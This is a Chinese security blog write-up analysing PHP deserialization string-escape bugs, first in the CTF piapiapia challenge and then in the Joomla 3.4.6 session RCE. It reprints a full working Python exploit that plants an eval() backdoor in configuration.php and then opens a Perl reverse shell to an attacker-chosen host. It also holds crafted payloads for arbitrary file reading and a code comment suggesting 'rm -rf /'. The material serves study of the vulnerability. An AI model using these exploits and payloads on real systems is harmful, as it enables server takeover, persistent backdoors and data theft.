出品｜MS08067實驗室（www.ms08067.com)
本文作者：whojoe(MS08067安全實驗室SRST TEAM成員)
前言
前幾天看了下PHP 反序列化字元逃逸學習，有大佬簡化了一下joomla3.4.6rce的程式碼，今天來自己分析學習一下。
環境搭建
Joomla 3.4.6 : https://downloads.joomla.org/it/cms/joomla3/3-4-6
php ：5.4.45nts（不支援php7）
影響版本: 3.0.0 --- 3.4.6
漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla
(https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)
要求PHP Version >= 5.3.10
反序列化長度擴充套件分析
CTF-2016-piapiapia中的利用程式碼
這裡就直接從大佬那裡把程式碼拿來了
index.php
<?php
require_once('class.php');
if(isset($_SESSION['username'])) {
header('Location: profile.php');
exit;
}
if(isset($_POST["username"]) && isset($_POST["password"])) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
echo '
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>';
}
?>
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
register.php
<?php
require_once('class.php');
if(isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'root';
$config['database'] = 'test';
$flag = '121312131';
?>
分析
index.php是登入介面（沒啥用）
profile.php是讀取檔案的（劃重點）
register.php是註冊的（沒啥用）
update.php是更新資訊（劃重點）
class.php是核心程式碼（劃重點）
config.php flag在裡面
在profile.php中可以讀取檔案，並且上面有反序列化操作，在update.php檔案上傳沒有做任何過濾，但是估計實際環境會限制程式碼執行，在class.php中有序列化操作，並且對字串進行了替換，由於沒有對傳入的單引號進行過濾，所以是存在sql注入的，但是沒什麼用，資料庫中的所有東西都是我們可控的，所以重點就在了序列化和反序列化還有字串長度替換上，看下過濾程式碼
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
可以看到長度唯一改變的就是where，那麼我們上傳一個檔案看一下
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";s:5:"joezk";s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}
這裡面的photo是我們想要控制的，那麼我們就需要控制nickname欄位加上長度的替換來實現任意檔案讀取，但是nickname長度被限制
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
這裡可以使用陣列繞過，那麼我們就傳一下陣列來看一下
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"joezk";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}
發現裡面的結構發生了改變，所以我們就要考慮如何構造，因為後面的s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}是沒用的，所以這一部分就被丟棄了，為了保證還有photo欄位，就要把字串進行擴充，結合前面的正則替換，where變成hacker，增加了一個長度，所以我們的最終序列化之後的應該是這種格式的
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}
其中的where";}s:5:"photo";s:10:"config.php";}是我們要傳送過去的nickname
";}s:5:"photo";s:10:"config.php";}長度為34，那麼我們就需要把這34位給擠出去，才能保證這個是可以反序列化的，為了把這34位擠出去，就需要34個where來填充，經過正則匹配後，就會變成34個hacker長度就增加了34位，即可滿足我們的要求
即nickname為wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
傳送資料包
POST /fff/update.php HTTP/1.1
Host: 192.168.164.138
Content-Length: 1405
Cache-Control: max-age=0
Origin: http://192.168.164.138
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKar
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.164.138/fff/update.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16
Connection: close
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="phone"
12345678901
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="email"
123123@qq.com
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="nickname[]"
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
------WebKitFormBoundaryjxnZAvhPqkTxgKar
Content-Disposition: form-data; name="photo"; filename="QQ截图20200428221719.jpg"
Content-Type: image/jpeg
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
------WebKitFormBoundaryjxnZAvhPqkTxgKar--
檢視資料庫中結果
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d421244c920e11775c1d1711a1a11da0";}
開啟profile.php即可檢視結果
經過base64解密
joomla中的利用
程式碼是從大佬那裡哪來的，具體如下
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
}
function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
if(file_exists("dbs.txt")){
unlink("dbs.txt");
}
$username = "peri0d";
$password = "1234";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
username和password我們是可控的
大概的利用鏈就是通過反序列化來呼叫evil函式執行我們要執行的命令
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public $ts;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
//O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
看以前前面的過濾，如果傳入chr(0).'*'.chr(0)是沒什麼用的，但是如果傳入\0\0\0，就可以對序列化的字串長度進行縮短，我們剛才的payload需要進行修改才可以用，首先，正常經過序列化的只有兩個引數，而我們構造的有三個，正好結合前面的長度縮短刪除掉一個引數即可實現，所以最終的payload應該是這樣的。
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public $ts;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
$aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
unserialize($aa);
我們來對比一下序列化之後的字串
O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
可以看出兩個不同的就是
peri0d";s:8:"password";s:4:"1234
目的就是要把利用長度縮減把password欄位給包括到username欄位裡，這一部分，他的長度是32要去掉
這裡面我們的payload是
s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
長度為47
我們只能控制兩個引數就是username和password，我們為了保證password欄位被username吃掉而且還要保證payload能夠被利用，payload就要放在password欄位中傳入，通過username欄位進行縮減從而達到目標，有了思路，就開始構造。
$username = "peri0d";
$password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
這裡我們需要刪除的是
";s:8:"password";s:55:"123455
他的長度是28
在正則中
str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
我們每次只能刪除的長度是3，所以字串長度應該是3的倍數，那麼就把長度減一，變成27即可，需要9個\0\0\0
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
echo serialize(new User($username, $password));
//O:4:"User":2:{s:8:"username";s:60:"peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
執行一下
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
可以看到我們的payload已經執行了。
漏洞復現
下載poc之後安裝需要的包，執行exp
菜刀按上面的網址和密碼連結
檢視configuration.php發現已經寫入一句話
exp分析
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored
PROXS = {'http':'127.0.0.1:8080'}
#PROXS = {}
def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
backdoor_param = random_string(50)
def print_info(str):
print(colored("[*] " + str,"cyan"))
def print_ok(str):
print(colored("[+] "+ str,"green"))
def print_error(str):
print(colored("[-] "+ str,"red"))
def print_warning(str):
print(colored("[!!] " + str,"yellow"))
def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf
def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True
def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies
def gen_pay(function, command):
# Generate the payload for call_user_func('FUNCTION','COMMAND')
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
#payload = command + ' || $a=\'http://wtf\';'
payload = 'http://l4m3rz.l337/;' + command
# Following payload will append an eval() at the enabled of the configuration file
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def make_req(url , object_payload):
# just make a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf = get_token( url, cook)
user_payload = '\\0\\0\\0' * 9
padding = 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
password_payload = padding + inj_object
params = {
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf :'1'
}
print_info('Sending request ..')
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
return resp.text
def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request
function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# payload = command + ' || $a=\'http://wtf\';'
# Following payload will append an eval() at the enabled of the configuration file
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def check(url):
check_string = random_string(20)
target_url = url + 'index.php/component/users'
html = make_req(url, gen_pay('print_r',check_string))
if check_string in html:
return True
else:
return False
def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False
def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)
def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')
# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'
make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target',required=True,help='Joomla Target')
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
args = vars(parser.parse_args())
url = args['target']
if(check(url)):
print_ok('Vulnerable')
if args['exploit']:
exploit(url, args['lhost'], args['lport'])
else:
print_info('Use --exploit to exploit it')
else:
print_error('Seems NOT Vulnerable ;/')
在第一行已經定義了代理
PROXS = {'http':'127.0.0.1:8080'}
獲取cookie
def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies
獲取csrf token
def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf
驗證漏洞存在，如果存在的話，執行exploit
從新獲取cookie和token，寫入一句話，檢查一句話是否存在，之後通過一句話執行反彈shell操作
def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)
def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')
# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'
make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
這裡跟蹤一下寫入一句話，漏洞點存在於libraries/joomla/session/storage/database.php中於是我們在這裡下斷點檢視一下
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
return $result;
}
catch (Exception $e)
{
return false;
}
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
// Try to update the session data in the database table.
$db->setQuery($query);
if (!$db->execute())
{
return false;
}
/* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*/
return true;
}
catch (Exception $e)
{
return false;
}
}
看以前前面的過濾，如果傳入chr(0).’*’.chr(0)是沒什麼用的，但是如果傳入\0\0\0，就可以對序列化的字串長度進行縮短，有了之前的分析，這裡就會好理解許多,可以參考我的另一篇文章PHP 反序列化字元逃逸學習(https://blog.csdn.net/qq_43645782/article/details/105801796)
//資料庫中的資料
__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
//正常的資料
